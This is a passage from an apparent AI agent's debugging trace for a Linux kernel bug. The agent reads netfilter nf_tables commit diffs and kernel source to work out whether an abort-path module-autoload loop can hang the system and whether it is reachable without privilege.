netlink_ack(oskb, nlmsg_hdr(oskb), err, NULL);
}
} else {
- ss->abort(net, oskb);
+ ss->abort(net, oskb, false);
}
if (ss->cleanup)
ss->cleanup(net);
]
|
| 169/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 20884
output: 45
thoughts: 0
|
| 170/2 |
2026/05/31 10:44 |
tool |
git-log |
0m
Args: map[CodeRegexp:nf_tables_module_autoload Count:10 PathPrefix:net/netfilter/nfnetlink.c]
Results:
|
| 171/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 20942
output: 48
thoughts: 0
|
| 172/2 |
2026/05/31 10:44 |
tool |
git-log |
0m
Args: map[CodeRegexp:NFNL_ABORT_AUTOLOAD Count:10 PathPrefix:net/netfilter/nfnetlink.c]
Results: map[Output:c0391b6ab810 netfilter: nf_tables: missing validation from the abort path
]
|
| 173/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 21028
output: 26
thoughts: 0
|
| 174/2 |
2026/05/31 10:44 |
tool |
git-show |
0m
Args:
Results: map[Output:commit c0391b6ab810381df632677a1dcbbbbd63d05b6d
Author: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Thu Oct 29 13:50:03 2020 +0100
netfilter: nf_tables: missing validation from the abort path
If userspace does not include the trailing end of batch message, then
nfnetlink aborts the transaction. This allows to check that ruleset
updates trigger no errors.
After this patch, invoking this command from the prerouting chain:
# nft -c add rule x y fib saddr . oif type local
fails since oif is not supported there.
This patch fixes the lack of rule validation from the abort/check path
to catch configuration errors such as the one above.
Fixes: a654de8fdc18 ("netfilter: nf_tables: fix chain dependency validation")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/include/linux/netfilter/nfnetlink.h b/include/linux/netfilter/nfnetlink.h
index 89016d08f6a2..f6267e2883f2 100644
--- a/include/linux/netfilter/nfnetlink.h
+++ b/include/linux/netfilter/nfnetlink.h
@@ -24,6 +24,12 @@ struct nfnl_callback {
const u_int16_t attr_count; /* number of nlattr's */
};
+enum nfnl_abort_action {
+ NFNL_ABORT_NONE = 0,
+ NFNL_ABORT_AUTOLOAD,
+ NFNL_ABORT_VALIDATE,
+};
+
struct nfnetlink_subsystem {
const char *name;
__u8 subsys_id; /* nfnetlink subsystem ID */
@@ -31,7 +37,8 @@ struct nfnetlink_subsystem {
const struct nfnl_callback *cb; /* callback for individual types */
struct module *owner;
int (*commit)(struct net *net, struct sk_buff *skb);
- int (*abort)(struct net *net, struct sk_buff *skb, bool autoload);
+ int (*abort)(struct net *net, struct sk_buff *skb,
+ enum nfnl_abort_action action);
void (*cleanup)(struct net *net);
bool (*valid_genid)(struct net *net, u32 genid);
};
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 9b70e136fb5d..0f58e98542be 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -8053,12 +8053,16 @@ static void nf_tables_abort_release(struct nft_trans *trans)
kfree(trans);
}
-static int __nf_tables_abort(struct net *net, bool autoload)
+static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
{
struct nft_trans *trans, *next;
struct nft_trans_elem *te;
struct nft_hook *hook;
+ if (action == NFNL_ABORT_VALIDATE &&
+ nf_tables_validate(net) < 0)
+ return -EAGAIN;
+
list_for_each_entry_safe_reverse(trans, next, &net->nft.commit_list,
list) {
switch (trans->msg_type) {
@@ -8190,7 +8194,7 @@ static int __nf_tables_abort(struct net *net, bool autoload)
nf_tables_abort_release(trans);
}
- if (autoload)
+ if (action == NFNL_ABORT_AUTOLOAD)
nf_tables_module_autoload(net);
else
nf_tables_module_autoload_cleanup(net);
@@ -8203,9 +8207,10 @@ static void nf_tables_cleanup(struct net *net)
nft_validate_state_update(net, NFT_VALIDATE_SKIP);
}
-static int nf_tables_abort(struct net *net, struct sk_buff *skb, bool autoload)
+static int nf_tables_abort(struct net *net, struct sk_buff *skb,
+ enum nfnl_abort_action action)
{
- int ret = __nf_tables_abort(net, autoload);
+ int ret = __nf_tables_abort(net, action);
mutex_unlock(&net->nft.commit_mutex);
@@ -8836,7 +8841,7 @@ static void __net_exit nf_tables_exit_net(struct net *net)
{
mutex_lock(&net->nft.commit_mutex);
if (!list_empty(&net->nft.commit_list))
- __nf_tables_abort(net, false);
+ __nf_tables_abort(net, NFNL_ABORT_NONE);
__nft_release_tables(net);
mutex_unlock(&net->nft.commit_mutex);
WARN_ON_ONCE(!list_empty(&net->nft.tables));
diff --git a/net/netfilter/nfnetlink.c b/net/netfilter/nfnetlink.c
index 2daa1f6ae344..d3df66a39b5e 100644
--- a/net/netfilter/nfnetlink.c
+++ b/net/netfilter/nfnetlink.c
@@ -333,7 +333,7 @@ static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
return netlink_ack(skb, nlh, -EINVAL, NULL);
replay:
status = 0;
-
+replay_abort:
skb = netlink_skb_clone(oskb, GFP_KERNEL);
if (!skb)
return netlink_ack(oskb, nlh, -ENOMEM, NULL);
@@ -499,7 +499,7 @@ static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
}
done:
if (status & NFNL_BATCH_REPLAY) {
- ss->abort(net, oskb, true);
+ ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD);
nfnl_err_reset(&err_list);
kfree_skb(skb);
module_put(ss->owner);
@@ -510,11 +510,25 @@ static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
status |= NFNL_BATCH_REPLAY;
goto done;
} else if (err) {
- ss->abort(net, oskb, false);
+ ss->abort(net, oskb, NFNL_ABORT_NONE);
netlink_ack(oskb, nlmsg_hdr(oskb), err, NULL);
}
} else {
- ss->abort(net, oskb, false);
+ enum nfnl_abort_action abort_action;
+
+ if (status & NFNL_BATCH_FAILURE)
+ abort_action = NFNL_ABORT_NONE;
+ else
+ abort_action = NFNL_ABORT_VALIDATE;
+
+ err = ss->abort(net, oskb, abort_action);
+ if (err == -EAGAIN) {
+ nfnl_err_reset(&err_list);
+ kfree_skb(skb);
+ module_put(ss->owner);
+ status |= NFNL_BATCH_FAILURE;
+ goto replay_abort;
+ }
}
if (ss->cleanup)
ss->cleanup(net);
]
|
| 175/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 23203
output: 47
thoughts: 0
|
| 176/2 |
2026/05/31 10:44 |
tool |
git-log |
0m
Args: map[CodeRegexp:nf_tables_module_autoload Count:10 PathPrefix:net/netfilter/nf_tables_api.c]
Results: map[Output:0d459e2ffb54 netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path
a45e6889575c netfilter: nf_tables: release batch on table validation from abort path
eb014de4fd41 netfilter: nf_tables: autoload modules from the abort path
]
|
| 177/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 23346
output: 27
thoughts: 0
|
| 178/2 |
2026/05/31 10:44 |
tool |
git-show |
0m
Args:
Results: map[Output:commit a45e6889575c2067d3c0212b6bc1022891e65b91
Author: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Thu Mar 28 13:27:36 2024 +0100
netfilter: nf_tables: release batch on table validation from abort path
Unlike early commit path stage which triggers a call to abort, an
explicit release of the batch is required on abort, otherwise mutex is
released and commit_list remains in place.
Add WARN_ON_ONCE to ensure commit_list is empty from the abort path
before releasing the mutex.
After this patch, commit_list is always assumed to be empty before
grabbing the mutex, therefore
03c1f1ef1584 ("netfilter: Cleanup nft_net->module_list from nf_tables_exit_net()")
only needs to release the pending modules for registration.
Cc: stable@vger.kernel.org
Fixes: c0391b6ab810 ("netfilter: nf_tables: missing validation from the abort path")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index fd86f2720c9e..ffcd3213c335 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10455,10 +10455,11 @@ static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
struct nft_trans *trans, *next;
LIST_HEAD(set_update_list);
struct nft_trans_elem *te;
+ int err = 0;
if (action == NFNL_ABORT_VALIDATE &&
nf_tables_validate(net) < 0)
- return -EAGAIN;
+ err = -EAGAIN;
list_for_each_entry_safe_reverse(trans, next, &nft_net->commit_list,
list) {
@@ -10655,7 +10656,7 @@ static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
else
nf_tables_module_autoload_cleanup(net);
- return 0;
+ return err;
}
static int nf_tables_abort(struct net *net, struct sk_buff *skb,
@@ -10668,6 +10669,9 @@ static int nf_tables_abort(struct net *net, struct sk_buff *skb,
gc_seq = nft_gc_seq_begin(nft_net);
ret = __nf_tables_abort(net, action);
nft_gc_seq_end(nft_net, gc_seq);
+
+ WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
+
mutex_unlock(&nft_net->commit_mutex);
return ret;
@@ -11473,9 +11477,10 @@ static void __net_exit nf_tables_exit_net(struct net *net)
gc_seq = nft_gc_seq_begin(nft_net);
- if (!list_empty(&nft_net->commit_list) ||
- !list_empty(&nft_net->module_list))
- __nf_tables_abort(net, NFNL_ABORT_NONE);
+ WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
+
+ if (!list_empty(&nft_net->module_list))
+ nf_tables_module_autoload_cleanup(net);
__nft_release_tables(net);
]
|
| 179/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 24417
output: 47
thoughts: 0
|
| 180/2 |
2026/05/31 10:44 |
tool |
git-log |
0m
Args: map[CodeRegexp:nf_tables_module_autoload Count:10 PathPrefix:net/netfilter/nf_tables_api.c]
Results: map[Output:0d459e2ffb54 netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path
a45e6889575c netfilter: nf_tables: release batch on table validation from abort path
eb014de4fd41 netfilter: nf_tables: autoload modules from the abort path
]
|
| 181/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 24560
output: 26
thoughts: 0
|
| 182/2 |
2026/05/31 10:44 |
tool |
git-show |
0m
Args:
Results: map[Output:commit 0d459e2ffb541841714839e8228b845458ed3b27
Author: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Thu Mar 28 14:23:55 2024 +0100
netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path
The commit mutex should not be released during the critical section
between nft_gc_seq_begin() and nft_gc_seq_end(), otherwise, async GC
worker could collect expired objects and get the released commit lock
within the same GC sequence.
nf_tables_module_autoload() temporarily releases the mutex to load
module dependencies, then it goes back to replay the transaction again.
Move it at the end of the abort phase after nft_gc_seq_end() is called.
Cc: stable@vger.kernel.org
Fixes: 720344340fb9 ("netfilter: nf_tables: GC transaction race with abort path")
Reported-by: Kuan-Ting Chen <hexrabbit@devco.re>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index ffcd3213c335..0d432d0674e1 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10651,11 +10651,6 @@ static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
nf_tables_abort_release(trans);
}
- if (action == NFNL_ABORT_AUTOLOAD)
- nf_tables_module_autoload(net);
- else
- nf_tables_module_autoload_cleanup(net);
-
return err;
}
@@ -10672,6 +10667,14 @@ static int nf_tables_abort(struct net *net, struct sk_buff *skb,
WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
+ /* module autoload needs to happen after GC sequence update because it
+ * temporarily releases and grabs mutex again.
+ */
+ if (action == NFNL_ABORT_AUTOLOAD)
+ nf_tables_module_autoload(net);
+ else
+ nf_tables_module_autoload_cleanup(net);
+
mutex_unlock(&nft_net->commit_mutex);
return ret;
]
|
| 183/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 25306
output: 47
thoughts: 0
|
| 184/2 |
2026/05/31 10:44 |
tool |
git-log |
0m
Error:
Args: map[CodeRegexp:nf_tables_module_autoload Count:10 PathPrefix:net/netfilter/nf_tables_api.c]
|
| 185/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 25780
output: 53
thoughts: 134
Thoughts: **Debugging a Git Log Repeat**
Okay, so I just ran that `git log` command again, and I'm seeing the same issue, which means the problem isn't intermittent. Let's dig back into the reproducer and see what's happening. Right, it's sending an `NFT_BATCH` message. Now, I remember seeing `synproxy` in there, so my initial thought is the `nft_synproxy` module either isn't loaded or isn't even available on this system.
But hold on, let's step back and consider the security implications. If the system has `unprivileged_bpf_disabled=1` *and* user namespaces are unavailable, can an *unprivileged* user still send that `NFT_BATCH` message? I don't think so, and I'm pretty sure that netfilter netlink messages require `CAP_NET_ADMIN`. It seems obvious.
Okay, just to verify, I should quickly check the code path. I bet `nfnetlink_rcv_batch` is called from `nfnetlink_rcv`. Yes, that confirms my understanding.
If you need to search for something else, change the arguments.
|
| 186/2 |
2026/05/31 10:44 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nfnetlink.c Name:nfnetlink_rcv]
Results: map[SourceCode: 650: static void nfnetlink_rcv(struct sk_buff *skb)
651: {
652: struct nlmsghdr *nlh = nlmsg_hdr(skb);
653:
654: if (skb->len < NLMSG_HDRLEN ||
655: nlh->nlmsg_len < NLMSG_HDRLEN ||
656: skb->len < nlh->nlmsg_len)
657: return;
658:
659: if (!netlink_net_capable(skb, CAP_NET_ADMIN)) {
660: netlink_ack(skb, nlh, -EPERM, NULL);
661: return;
662: }
663:
664: if (nlh->nlmsg_type == NFNL_MSG_BATCH_BEGIN)
665: nfnetlink_rcv_skb_batch(skb, nlh);
666: else
667: netlink_rcv_skb(skb, nfnetlink_rcv_msg);
668: }
SourceFile:net/netfilter/nfnetlink.c]
|
| 187/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 26556
output: 41
thoughts: 386
Thoughts: **Analyzing Bug Accessibility**
Okay, so `nfnetlink_rcv` does indeed have that `netlink_net_capable(skb, CAP_NET_ADMIN)` check, which is the key. Right, which means an unprivileged user, without `CAP_NET_ADMIN`, can't hit this bug directly. That's clear.
The prompt, though, throws a curveball. It *specifically* says to assume user namespaces are off-limits. No user namespaces, no special capabilities, the process can't even get those capabilities inside a new namespace due to `ns_capable()` check in the kernel. So, for the "Unprivileged Processes" question, it's a definite "False." We are told that unprivileged_bpf_disabled=1, meaning eBPF is disabled, but cBPF is still accessible.
Now, for "User Namespaces," it says we *can* assume all the capabilities within a user namespace. The prompt even highlights `ns_capable()`. Aha! `netlink_net_capable` checks `ns_capable(net->user_ns, cap)`. So, yes, it's absolutely accessible from a user namespace with those capabilities. The capability check isn't skipped.
Let me just quickly verify `netlink_net_capable` to make sure I haven't missed anything obvious.
|
| 188/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netlink/af_netlink.c Name:netlink_net_capable]
Results: map[SourceCode: 890: /**
891: * netlink_net_capable - Netlink network namespace message capability test
892: * @skb: socket buffer holding a netlink command from userspace
893: * @cap: The capability to use
894: *
895: * Test to see if the opener of the socket we received the message
896: * from had when the netlink socket was created and the sender of the
897: * message has the capability @cap over the network namespace of
898: * the socket we received the message from.
899: */
900: bool netlink_net_capable(const struct sk_buff *skb, int cap)
901: {
902: return netlink_ns_capable(skb, sock_net(skb->sk)->user_ns, cap);
903: }
SourceFile:net/netlink/af_netlink.c]
|
| 189/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 27545
output: 34
thoughts: 435
Thoughts: **Analyzing a Potential Kernel Hang**
Okay, so I'm digging into this kernel issue. The core of it seems to be a hung task in `crda_timeout_work`. That's waiting on `rtnl_lock()`, which is a common point of contention. The initial hunch was that `nfnetlink_rcv_batch` was the culprit because it's handling netlink messages and might have been in an infinite loop. However, `nfnetlink_rcv_batch` uses `nfnl_mutex`, not `rtnl_lock()`. So that's not it.
Then I started considering `request_module`. Could that be holding `rtnl_lock()` indirectly? No, it doesn't, but it does call out to user space via `modprobe`. Aha! If `modprobe` hangs, then `request_module` hangs. And `request_module` is called from `nf_tables_module_autoload`, which gets called from `nf_tables_abort`.
Okay, so if `nfnetlink_rcv_batch` is looping endlessly, either starving the CPU or potentially holding a lock somewhere else, it might be creating this situation. I confirmed `nfnetlink_rcv_batch` doesn't hold `rtnl_lock()`, but the problem could be `request_module`. The critical point being repeated calls.
If `request_module` is being called repeatedly due to something going wrong with the autoloading of modules, then `modprobe` might be forking a ton of processes, leading to CPU starvation or OOM (out of memory) issues. I need to refresh my memory on the behavior of `request_module` -- does it have a rate limit, or does it just block until the module load succeeds? I'll check `kernel/kmod.c` to see how it's implemented. This is looking like the most likely cause.
|
| 190/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/kmod.c Name:__request_module]
Results: map[SourceCode: 115: /**
116: * __request_module - try to load a kernel module
117: * @wait: wait (or not) for the operation to complete
118: * @fmt: printf style format string for the name of the module
119: * @...: arguments as specified in the format string
120: *
121: * Load a module using the user mode module loader. The function returns
122: * zero on success or a negative errno code or positive exit code from
123: * "modprobe" on failure. Note that a successful module load does not mean
124: * the module did not then unload and exit on an error of its own. Callers
125: * must check that the service they requested is now available not blindly
126: * invoke it.
127: *
128: * If module auto-loading support is disabled then this function
129: * simply returns -ENOENT.
130: */
131: int __request_module(bool wait, const char *fmt, ...)
132: {
133: va_list args;
134: char module_name[MODULE_NAME_LEN];
135: int ret, dup_ret;
136:
137: /*
138: * We don't allow synchronous module loading from async. Module
139: * init may invoke async_synchronize_full() which will end up
140: * waiting for this task which already is waiting for the module
141: * loading to complete, leading to a deadlock.
142: */
143: WARN_ON_ONCE(wait && current_is_async());
144:
145: if (!modprobe_path[0])
146: return -ENOENT;
147:
148: va_start(args, fmt);
149: ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
150: va_end(args);
151: if (ret >= MODULE_NAME_LEN)
152: return -ENAMETOOLONG;
153:
154: ret = security_kernel_module_request(module_name);
155: if (ret)
156: return ret;
157:
158: ret = down_timeout(&kmod_concurrent_max, MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);
159: if (ret) {
160: pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",
161: module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);
162: return ret;
163: }
164:
165: trace_module_request(module_name, wait, _RET_IP_);
166:
167: if (kmod_dup_request_exists_wait(module_name, wait, &dup_ret)) {
168: ret = dup_ret;
169: goto out;
170: }
171:
172: ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
173:
174: out:
175: up(&kmod_concurrent_max);
176:
177: return ret;
178: }
SourceFile:kernel/module/kmod.c]
|
| 191/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 29444
output: 41
thoughts: 198
Thoughts: **Analyzing a Potential Module Loading Loop**
Okay, so I'm tracing through this, and it looks like `request_module` is being called from `nf_tables_module_autoload`. That's the key. If there's an infinite loop, `nfnetlink_rcv_batch` could be repeatedly calling `request_module`, and, in turn, calling `modprobe`. But there's something... *nft_request_module* sets `req->done = false` initially. And then, `nf_tables_module_autoload` calls `request_module` and *then* sets `req->done = true`. After this point, `nfnetlink_rcv_batch` jumps back up to `replay:`. That's where it all gets potentially tricky. `nft_request_module` is called again in the replay path. If the module is not present, `nft_request_module` is supposed to use the existing request with `req->done == true`, and... *it returns 0*! That's a critical point.
Wait, if `nft_request_module` returns *0*, it doesn't return `-EAGAIN`! That's not what I would have expected, given the usual error-handling patterns. I need to be absolutely certain about this. I'm going to double-check the `nft_request_module` function and make sure that this is really what's happening. I don't see any obvious `-EAGAIN` return in that case. I need to fully understand this logic, as that return code is going to determine whether we are actually experiencing a potential infinite loop or not.
|
| 192/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_request_module]
Results: map[SourceCode:1065: __printf(2, 3) int nft_request_module(struct net *net, const char *fmt,
1066: ...)
1067: {
1068: char module_name[MODULE_NAME_LEN];
1069: struct nftables_pernet *nft_net;
1070: struct nft_module_request *req;
1071: va_list args;
1072: int ret;
1073:
1074: va_start(args, fmt);
1075: ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
1076: va_end(args);
1077: if (ret >= MODULE_NAME_LEN)
1078: return 0;
1079:
1080: nft_net = nft_pernet(net);
1081: list_for_each_entry(req, &nft_net->module_list, list) {
1082: if (!strcmp(req->module, module_name)) {
1083: if (req->done)
1084: return 0;
1085:
1086: /* A request to load this module already exists. */
1087: return -EAGAIN;
1088: }
1089: }
1090:
1091: req = kmalloc(sizeof(*req), GFP_KERNEL);
1092: if (!req)
1093: return -ENOMEM;
1094:
1095: req->done = false;
1096: strscpy(req->module, module_name, MODULE_NAME_LEN);
1097: list_add_tail(&req->list, &nft_net->module_list);
1098:
1099: return -EAGAIN;
1100: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 193/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 30590
output: 43
thoughts: 213
Thoughts: **Analyzing Potential Infinite Loop Scenarios**
Okay, so I'm tracing through this code, and my initial thought is, if `req->done` is already true, we immediately return 0. The calling function, like `nft_expr_type_request_module`, also gets a 0, which seems straightforward. Then, `nft_expr_type_get` calls `__nft_expr_type_get`, which is the critical part. If the module wasn't loaded, `__nft_expr_type_get` will return NULL, and `nft_expr_type_get` will correctly return `ERR_PTR(-ENOENT)`. That seems correct and would prevent an infinite loop for an unloaded module, but…
What if the module *is* actually loaded, but it fails to register the expression we're expecting? Then, `__nft_expr_type_get` would *still* return NULL, and we'd still get `ERR_PTR(-ENOENT)`. That's important. It prevents infinite looping if the module is loaded and just doesn't provide the requested expression.
Okay, let's consider the multi-module scenario. How does this logic behave when multiple modules are involved? I should check a function like `nft_synproxy_do_init` or something similar for a more holistic picture. Wait, the reproducer uses a batch with `synproxy`. That's a key clue! I need to switch gears and check `nft_synproxy.c` immediately.
|
| 194/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_do_init]
Results: map[SourceCode: 152: static int nft_synproxy_do_init(const struct nft_ctx *ctx,
153: const struct nlattr * const tb[],
154: struct nft_synproxy *priv)
155: {
156: struct synproxy_net *snet = synproxy_pernet(ctx->net);
157: u32 flags;
158: int err;
159:
160: if (tb[NFTA_SYNPROXY_MSS])
161: priv->info.mss = ntohs(nla_get_be16(tb[NFTA_SYNPROXY_MSS]));
162: if (tb[NFTA_SYNPROXY_WSCALE])
163: priv->info.wscale = nla_get_u8(tb[NFTA_SYNPROXY_WSCALE]);
164: if (tb[NFTA_SYNPROXY_FLAGS]) {
165: flags = ntohl(nla_get_be32(tb[NFTA_SYNPROXY_FLAGS]));
166: if (flags & ~NF_SYNPROXY_OPT_MASK)
167: return -EOPNOTSUPP;
168: priv->info.options = flags;
169: }
170:
171: err = nf_ct_netns_get(ctx->net, ctx->family);
172: if (err)
173: return err;
174:
175: switch (ctx->family) {
176: case NFPROTO_IPV4:
177: err = nf_synproxy_ipv4_init(snet, ctx->net);
178: if (err)
179: goto nf_ct_failure;
180: break;
181: #if IS_ENABLED(CONFIG_NF_TABLES_IPV6)
182: case NFPROTO_IPV6:
183: err = nf_synproxy_ipv6_init(snet, ctx->net);
184: if (err)
185: goto nf_ct_failure;
186: break;
187: #endif
188: case NFPROTO_INET:
189: err = nf_synproxy_ipv4_init(snet, ctx->net);
190: if (err)
191: goto nf_ct_failure;
192: err = nf_synproxy_ipv6_init(snet, ctx->net);
193: if (err) {
194: nf_synproxy_ipv4_fini(snet, ctx->net);
195: goto nf_ct_failure;
196: }
197: break;
198: }
199:
200: return 0;
201:
202: nf_ct_failure:
203: nf_ct_netns_put(ctx->net, ctx->family);
204: return err;
205: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 195/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 32042
output: 46
thoughts: 23
Thoughts: Here's a summary of my thought process, assuming I'm an expert:
**Investigating a Potential Network Namespace Concurrency Issue**
Okay, so `nf_ct_netns_get`... that sounds like a function involved in retrieving network namespace-specific conntrack data, likely within the kernel. Hmm, I know that often means it deals with concurrent access. The question is, does it ever return `-EAGAIN`? That's the signal for a temporary resource shortage or contention, usually when you have some kind of lock or state not immediately available. I need to dig into the documentation and source code to confirm this. If `-EAGAIN` is a possibility, I need to understand the scenarios that trigger it. Is it related to contention on the network namespace structure itself, or some internal conntrack data structure? Knowing the precise cause is essential to determine if this is something that needs mitigating with retry logic, perhaps back-off, or if it indicates a deeper problem in the code that needs fixing. Let's see if the code comments offer any clues.
|
| 196/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_get]
Results: map[SourceCode: 579: int nf_ct_netns_get(struct net *net, u8 nfproto)
580: {
581: int err;
582:
583: switch (nfproto) {
584: case NFPROTO_INET:
585: err = nf_ct_netns_inet_get(net);
586: break;
587: case NFPROTO_BRIDGE:
588: err = nf_ct_netns_do_get(net, NFPROTO_BRIDGE);
589: if (err < 0)
590: return err;
591:
592: err = nf_ct_netns_inet_get(net);
593: if (err < 0) {
594: nf_ct_netns_put(net, NFPROTO_BRIDGE);
595: return err;
596: }
597: break;
598: default:
599: err = nf_ct_netns_do_get(net, nfproto);
600: break;
601: }
602: return err;
603: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 197/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 32710
output: 48
thoughts: 0
|
| 198/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_do_get]
Results: map[SourceCode: 435: static int nf_ct_netns_do_get(struct net *net, u8 nfproto)
436: {
437: struct nf_conntrack_net *cnet = nf_ct_pernet(net);
438: bool fixup_needed = false, retry = true;
439: int err = 0;
440: retry:
441: mutex_lock(&nf_ct_proto_mutex);
442:
443: switch (nfproto) {
444: case NFPROTO_IPV4:
445: cnet->users4++;
446: if (cnet->users4 > 1)
447: goto out_unlock;
448: err = nf_defrag_ipv4_enable(net);
449: if (err) {
450: cnet->users4 = 0;
451: goto out_unlock;
452: }
453:
454: err = nf_register_net_hooks(net, ipv4_conntrack_ops,
455: ARRAY_SIZE(ipv4_conntrack_ops));
456: if (err)
457: cnet->users4 = 0;
458: else
459: fixup_needed = true;
460: break;
461: #if IS_ENABLED(CONFIG_IPV6)
462: case NFPROTO_IPV6:
463: cnet->users6++;
464: if (cnet->users6 > 1)
465: goto out_unlock;
466: err = nf_defrag_ipv6_enable(net);
467: if (err < 0) {
468: cnet->users6 = 0;
469: goto out_unlock;
470: }
471:
472: err = nf_register_net_hooks(net, ipv6_conntrack_ops,
473: ARRAY_SIZE(ipv6_conntrack_ops));
474: if (err)
475: cnet->users6 = 0;
476: else
477: fixup_needed = true;
478: break;
479: #endif
480: case NFPROTO_BRIDGE:
481: if (!nf_ct_bridge_info) {
482: if (!retry) {
483: err = -EPROTO;
484: goto out_unlock;
485: }
486: mutex_unlock(&nf_ct_proto_mutex);
487: request_module("nf_conntrack_bridge");
488: retry = false;
489: goto retry;
490: }
491: if (!try_module_get(nf_ct_bridge_info->me)) {
492: err = -EPROTO;
493: goto out_unlock;
494: }
495: cnet->users_bridge++;
496: if (cnet->users_bridge > 1)
497: goto out_unlock;
498:
499: err = nf_register_net_hooks(net, nf_ct_bridge_info->ops,
500: nf_ct_bridge_info->ops_size);
501: if (err)
502: cnet->users_bridge = 0;
503: else
504: fixup_needed = true;
505: break;
506: default:
507: err = -EPROTO;
508: break;
509: }
510: out_unlock:
511: mutex_unlock(&nf_ct_proto_mutex);
512:
513: if (fixup_needed) {
514: struct nf_ct_iter_data iter_data = {
515: .net = net,
516: .data = (void *)(unsigned long)nfproto,
517: };
518: nf_ct_iterate_cleanup_net(nf_ct_tcp_fixup, &iter_data);
519: }
520:
521: return err;
522: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 199/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 34029
output: 44
thoughts: 85
Thoughts: Okay, let me break this down.
**Contemplating Network Connection Tracking and Module Loading**
Alright, so `nf_ct_netns_do_get`... that routine, it seems to be handling connection tracking within a network namespace, and if the network protocol is identified as a bridge protocol (`NFPROTO_BRIDGE`), and crucial bridge-specific connection tracking information (`nf_ct_bridge_info`) hasn't been initialized, then `request_module("nf_conntrack_bridge")` gets called. Makes sense, it's a dynamic module loading mechanism. But here's the kicker: it doesn't return `-EAGAIN` to signal that the module load is pending, and the operation should be retried later. It just retries once. That seems like a design choice that could potentially lead to issues in highly concurrent environments, depending on how quickly the module loads. I need to keep that in mind.
Now, my mind shifts to `nf_synproxy_ipv4_init`. I wonder if this function follows a similar pattern regarding module loading and error handling? I need to check it to see if there's any similar potential for race conditions or unexpected behavior due to the lack of an `-EAGAIN` return. It's important to understand the bigger picture of the whole system's module loading logic.
|
| 200/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nf_synproxy_ipv4_init]
Results: map[SourceCode: 767: int nf_synproxy_ipv4_init(struct synproxy_net *snet, struct net *net)
768: {
769: int err;
770:
771: if (snet->hook_ref4 == 0) {
